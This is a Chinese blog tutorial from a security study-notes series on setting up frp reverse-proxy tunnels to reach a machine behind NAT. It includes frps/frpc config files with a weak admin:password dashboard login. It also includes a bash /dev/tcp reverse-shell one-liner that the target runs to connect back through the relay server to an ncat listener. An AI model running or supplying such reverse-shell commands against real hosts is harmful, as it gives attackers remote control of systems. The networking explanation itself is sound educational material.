通过Frp解决实现内网穿透

本专栏是笔者的网络安全学习笔记,一面分享,同时作为笔记

前文链接

  1. WAMP/DVWA/sqli-labs 搭建
  2. burpsuite工具抓包及Intruder暴力破解的使用
  3. 目录扫描,请求重发,漏洞扫描等工具的使用
  4. 网站信息收集及nmap的下载使用
  5. SQL注入(1)——了解成因和手工注入方法
  6. SQL注入(2)——各种注入
  7. SQL注入(3)——SQLMAP
  8. SQL注入(4)——实战SQL注入拿webshell
  9. Vulnhub靶机渗透之Me and My Girlfriend
  10. XSS漏洞
  11. 文件上传漏洞
  12. 文件上传绕过
  13. 文件包含漏洞
  14. Vulnhub靶机渗透之zico2
  15. 命令执行漏洞
  16. 逻辑漏洞(越权访问和支付漏洞)
  17. 网站后台安全
  18. weevely的使用及免杀(Linux中的菜刀)
  19. MSF(1)——一次完整的渗透流程
  20. WebShell命令执行限制(解决方案)
  21. 记一次艰难的SQL注入(过安全狗)
  22. MSF(2)——各种木马的生成及简单的免杀
  23. MSF(3)——apk和exe的加马(过360、火绒)

介绍

内网穿透

内网穿透,也即 NAT 穿透,进行 NAT 穿透是为了使具有某一个特定源 IP 地址和源端口号的数据包不被 NAT 设备屏蔽而正确路由到内网主机。
摘自:百度百科

简单来说,ipv4的ip是有限的,大概256^4个,差不多42.9亿个,如果每台设备都分配一个ip,那ip很快就不够分了。因此,提出了内网域的概念。

我们平时使用的计算机,如果在命令行中输入ipconfig或者ip a,可以看到自己的ip地址。
在这里插入图片描述
这里我的ip是192.168.1.9,这是一个内网的ip,中国电信提供的内网ip都是:192.168.*.* ,这样有了内网域,再配合网关,就可以实现几台计算机共享一个ip。这样的一个环境统称局域网。多个局域网交织在一起,叫做广域网。

但这样就会出现一个问题,我的电脑是在内网环境中,如果其他计算机想与我建立通信,是无法连接到我的计算机的。

假如我们想要建立一个网站,或者对外提供某项服务。关于网络安全的,ncat监听,msfconsole监听,都需要其他计算机进行主动连接,但由于我是内网环境,无法直接连接,导致无法实现。

获取公网ip的方法网上教程很多,可以自行查询。

在这里介绍内网穿透技术。

内网穿透技术的工作方式大概可以通过这样一张图表示
在这里插入图片描述
通过间接的方式实现攻击机和目标机的连接。

内网穿透工具

在这里推荐我之前一直用的内网穿透工具:Sakura frp
官网:https://www.natfrp.com/
通过该软件,可以轻松实现内网穿透,普通用户可添加两条隧道,限速为10mb/s,每天可以签到拿流量

这个软件,注册是免费的,开隧道是免费的,搭服务也是免费的,但签到要实名,实名资格要一块钱。

该软件不是今天介绍的重点,感兴趣的可以自行了解

frp

frp 是一个高性能的反向代理应用,支持 tcp, udp, http, https 协议。
摘自:百度百科

这里需要有一台公网服务器,最好是linux的,获取方式大家懂得都懂,如果没有的话可以走了。

使用实例

在这里举一个实例。
首先这里有三台计算机,两台有公网ip,一台,即我自己的计算机,内网。
由于是真实环境,所有IP我都会进行处理
Server:121.-.-.-
Target:60.-.-.-
Me:192.168.1.9

首先在公网服务器上,开启frps服务

接下来在自己电脑上运行frpc
在这里插入图片描述
此时内网穿透已经建立成功。

其中,我讲自己电脑上的1234端口映射到远程服务器的6000端口,在本地我打开ncat监听
在这里插入图片描述

在目标机上执行回显命令

bash -c 'exec bash -i &>/dev/tcp/121.-.-.-/6000 <&1'

在这里插入图片描述
可以看到我自己的电脑成功收到了回显

在这里插入图片描述

安装

GitHub:https://github.com/fatedier/frp/releases
去官网分别下载相同版本的linux和windows的压缩包(根据自身情况而定)
例如,我在这里下的是这两个
在这里插入图片描述
windows系统直接解压即可
在这里插入图片描述
把Linux的压缩包移到服务器上,输入

tar -zxvf frp_0.44.0_linux_amd64.tar.gz

解压
在这里插入图片描述

服务端配置

给文件夹先改个名字
在这里插入图片描述
cd进去,可以看到
在这里插入图片描述
其中,frps是服务器端的启动文件,frps.ini是配置文件

vim编辑frps.ini,修改内容如下

[common]
bind_port = 7030
dashboard_port = 7500
dashboard_user = admin
dashboard_pwd = password
log_file = ./frps.log
max_pool_count = 50

参数

  • bing_port :重要,自己的电脑连接的端口
  • dashboard_port : Web端的端口
  • dashboard_user :Web端登录账号
  • dashboard_pass :Web端登录密码
  • log_file :日志输出位置
  • max_pool_count :最大连接数

这里像我一样配置就好了,当然,你也可以自己改
在这里插入图片描述

服务端启动

输入

./frps -c ./frps.ini

启动
在这里插入图片描述
此时访问该服务器的7500端口,看到web界面即为启动成功
在这里插入图片描述
用户名和密码是之前配置文件的用户名和密码,比如我配置的是admin:password
在这里插入图片描述

客户端配置

修改frpc.ini

[common]
server_addr = 服务端的IP
server_port = 7030

[reverse1]
type = tcp
local_ip = 127.0.0.1
local_port = 1234
remote_port = 6000

[reverse2]
type = tcp
local_ip = 127.0.0.1
local_port = 7777
remote_port = 6001

参数:

  • server_addr : 服务器的IP
  • server_port : 服务器配置的端口

类似

[reverse1]
type = tcp
local_ip = 127.0.0.1
local_port = 1234
remote_port = 6000

就是我配置的内网穿透,在这里我分别开了两条隧道,分别打到我的1234端口和7777端口,对应服务器的6000和6001端口

想要开隧道就像这样开就好了,type表示协议

客户端启动

命令行输入:

frpc.exe -c frpc.ini

在这里我是建了一个bat文件,方便启动

启动如下
在这里插入图片描述

注:要先启动服务端,否则就是这样

在这里插入图片描述
启动之后,web界面可以看到开启的隧道
在这里插入图片描述

测试

在这里以本地端口的1234,对应远程端口6000测试

本地ncat监听

ncat -lvvp 1234

目标靶机执行回显指令

bash -c 'exec bash -i &>/dev/tcp/xx.xx.xx.xx/6000 <&1'

成功回显
在这里插入图片描述

此时在web端可看到传输了数据
在这里插入图片描述

  • 2
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值